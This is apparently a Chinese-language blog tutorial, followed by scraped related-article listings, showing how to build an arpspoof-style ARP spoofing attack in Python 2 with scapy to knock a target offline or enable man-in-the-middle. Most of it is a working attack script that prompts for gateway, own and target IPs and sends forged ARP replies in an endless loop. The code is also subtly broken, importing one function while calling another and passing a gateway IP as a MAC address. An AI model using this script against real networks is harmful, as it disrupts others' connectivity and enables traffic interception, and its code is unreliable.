前言:

想实现像arpsoof一样的工具

arp断网攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者

只要持续不断发送arp包就能造成中间人攻击或者断网攻击。

0x01:

准备工作

Linux环境下:(windows环境下各种错误,其中有个错误是缺少windows.dll至今无法解决)

有scapy模块

如果没有进行安装

py2安装方法

pip install scapy

py3安装方法

pip install scapy3

我们要用到scapy模块里的

from scapy.all import (

ARP,

Ether,

sendp

)

from scapy.l2 import getmacip

Ether是构造网络数据包

ARP进行ARP攻击

sendp进行发包

代码如下:

import os

from scapy.l2 import getmacip

from scapy.all import (

ARP,

Ether,

sendp

)

ifconfig=os.system('ifconfig')

print ifconfig

gmac=raw_input('Please enter gateway IP:')

liusheng=raw_input('Please enter your IP:')

liusrc=raw_input('Please enter target IP:')

try:

tg=getmacbyip(liusrc)

print tg

except Exception , f:

print '[-]{}'.format(f)

exit()

def arpspoof():

try:

eth=Ether()

arp=ARP(

op="is-at",#ARP响应

hwsrc=gmac,#网关mac

psrc=liusheng,#网关IP

hwdst=tg,#目标Mac

pdst=liusrc#目标IP

)

print ((eth/arp).show())

sendp(eth/arp,inter=2,loop=1)

except Exception ,g:

print '[-]{}'.format(g)

exit()

arpspoof()

运行截图

效果图

python指定进程断网_python通过scapy模块进行arp断网攻击相关推荐

  1. scapy模块实现arp扫描,断网×××

    scapy主要基于二.三.四层工作,通过自己构造数据包发送. 在kali Linux系统中可以直接输入scapy模块,进行构造数据包.在python中需要先导入scapy模块.下面用的python版本 ...

  2. python创建进程的方法_python进程的状态、创建及使用方法详解

    本文实例讲述了python进程的状态.创建及使用方法.分享给大家供大家参考,具体如下: 进程以及状态 1. 进程 程序:例如xxx.py这是程序,是一个静态的 进程:一个程序运行起来后,代码+用到的资 ...

  3. python并行计算进程池通信_Python使用进程池管理进程和进程间通信

    与线程池类似的是,如果程序需要启动多个进程,也可以使用进程池来管理进程.程序可以通过 multiprocessing 模块的 Pool() 函数创建进程池,进程池实际上是 multiprocessin ...

  4. python设计自定义栈类_Python如何自定义模块?Python基础教程,第十讲,自定义模块...

    学完此次课程,我能做什么? 通过此次课程,我们将学会如何自定义自己的模块和包,以及如何引用到自己的项目中,从而实现代码的复用. 学习此次课程,需要多久? 5-10分钟 课程内容 什么是Python的标 ...

  5. python获取局域网在线主机_python通过scapy获取局域网所有主机mac地址示例

    python通过scapy获取局域网所有主机mac地址示例 发布于 2014-10-10 20:34:48 | 607 次阅读 | 评论: 0 | 来源: 网友投递 Python编程语言Python ...

  6. python 指定端口读取网站_Python实现局域网指定端口扫描

    Python实现局域网指定端口扫描 import socket import threading # 创建接收路由列表 routers = [] # 创建互斥锁 lock = threading.Lo ...

  7. python指定位置写入文件_Python从文件中读取指定的行以及在文件指定位置写入

    Python从文件中读取指定的行 如果想根据给出的行号, 从文本文件中读取一行数据, Python标准库linecache模块非常适合这个任务: 测试文件内容 : This is line 1. Th ...

  8. python的进程和线程_Python进程与线程知识

    Python进程与线程知识,Python开发语言现在已经是被大家非常看中的编程语言了,本篇文章给读者们分享一下Python进程与线程知识小结,本篇文章具有一定的参考借鉴价值,感兴趣的小伙伴来了解一下吧 ...

  9. python爬虫什么书好_python爬虫入门06 | 爬取当当网 Top 500 本五星好评书籍

    来啦,老弟 image 我们已经知道怎么使用 Requests 进行各种请求骚操作 也知道了对服务器返回的数据如何使用 正则表达式 来过滤我们想要的内容 - 那么接下来 我们就使用 requests ...

最新文章

  1. JProfiler学习笔记
  2. 他是绝世天才,却只开了半辈子的挂!死后惨遭封号200年,这就是和牛顿抬杠的下场.........
  3. docker-compose 运行 Flask 应用最佳实践
  4. python多线程框架_基于python和bash的多线程任务框架 不要让cpu闲着了
  5. Mongoose之 SchemaTypes 数据类型
  6. 数据库设计中常见表结构的设计技巧(转)
  7. 云服务器配置(jdk、tomcat、mysql)
  8. Django学习手册 - ORM 外键
  9. 简单梳理帆软报表即决策系统的登录步骤 一
  10. php 数组 闭包,PHP如何用array_filter加闭包函数过滤数组?
  11. ArcGis for JavaScript 4.23版本接入国家天地矢量地图
  12. C语言如何打开shx文件,shx文件怎么打开 .shx格式打开方式解答
  13. aspen分离膜_双膜组件强化CO_2混合气分离的研究
  14. 离线语音空调插座设计应用案例
  15. cad立面索引符号 规范_cad立面索引符号怎么画
  16. 计算机网络中atm意思,atm是什么(atm什么意思)
  17. 实用防火与防爆技术培训---第十讲 可燃气体的燃爆特性
  18. 外贸找客户软件:Email Extractor v7.2
  19. 重装系统打开Unity编辑器弹窗:sentinel key not found(h0007)
  20. 8.合并两个有序的数组

热门文章

  1. 管理系统 c++图形界面_锁螺母ERP系统,一站式各国语言管理系统
  2. php清理html table样式,Parse HTML Table - PHP [closed]
  3. 小程序下拉刷新_微信小程序下拉刷新
  4. 大学python期末考试突击怎么办_Python突击-从入门到精通到项目实战
  5. sql数字转换为字符_Python|图片转换为字符画^_^
  6. pytorch的backward参数
  7. OpenCV学习(二十二) :反向投影:calcBackProject(),mixChannels()
  8. 图像处理 --- 三、图像变换 3.2 图像的几何变换
  9. 为QT添加qss样式文件
  10. 链表简单实现(增删查改)